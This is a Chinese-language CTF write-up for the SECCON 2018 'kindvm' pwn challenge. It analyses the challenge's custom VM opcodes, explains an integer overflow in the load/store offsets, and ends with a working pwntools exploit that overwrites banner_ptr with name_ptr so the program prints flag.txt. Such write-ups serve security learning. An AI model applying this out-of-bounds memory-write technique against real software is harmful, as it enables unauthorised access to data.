pwn-seccon2018-kindvm

漏洞:整数溢出

虚拟指令集分析:

nop指令:
0x00 nop
load指令:
0x01 + 寄存器号(0-6)+ 内存地址(2字节,小于0x3fc)这个偏移考虑负值,例如设置为0xfff0,读取时是uint类型,计算偏移却是int
store指令:                                                                        这个偏移也可以考虑负值
0x02 + 内存地址(2字节,小于0x3fc) + 寄存器号(0-6)
mov指令:
0x03 + 寄存器号a + 寄存器号b 将寄存器b里面的值赋值给寄存器a
add指令:
0x04 + 寄存器号a + 寄存器号b a+=b a如果小于0,那么执行hint3()
sub指令:
0x05 + 寄存器号a + 寄存器号b a-=b
halt指令:
0x06 设置kc+4 = 1   终止执行
instant立即数:
0x07 + 寄存器号 + 立即数(32位 4字节)将立即数存入寄存器
out:
0x08 + 寄存器号 打印寄存器的值
hint:
0x09 执行hint2函数

这道题最后做完回首一下挺简单的,只是我一直在想着怎么样才能够泄露libc,然后覆盖got表。

执行hint2()和hint3()才发现只需要write(1,'flag.txt',size)就行。

这是虚拟指令集,指令的构成如上面所示。其中重要的是load指令和store指令存在整数溢出漏洞,所以能够获取到当前堆之前的数据,或者写堆之前的数据。

pwn-seccon2018-kindvm

程序维护一个vm结构体:

pwn-seccon2018-kindvm

只要我们将banner_ptr的值改写为name_ptr的值,name_ptr指向的字符串是"flag.txt",那么程序结束时会执行farewell函数,打开"flag.txt"文件,并且展示里面的flag。

pwn-seccon2018-kindvm

如图所示,banner_ptr被赋值成了name_ptr。

图中0x9204038是mem的空间,binner_ptr的位置是mem-36,name_ptr的位置是mem-40。

exp:

from pwn import *

p=process('./kindvm')
# p = remote("kindvm.pwn.seccon.jp",12345)
# context.log_level='debug'
# attach(p,"b *0x8048FCC")
p.recvuntil("Input your name : ")
p.sendline('flag.txt')

p.recvuntil("Input instruction : ")

payload="\x01\x03\xff\xd8" #load 03,[0xffd8]  reg3<=*(mem-40) 0xffd8 = -40
payload+="\x02\xff\xdc\x03" #store [0xffdc],03 *(mem-36)<=reg3  0xffdc = -36
payload+="\x06"                #halt
p.sendline(payload)
p.interactive()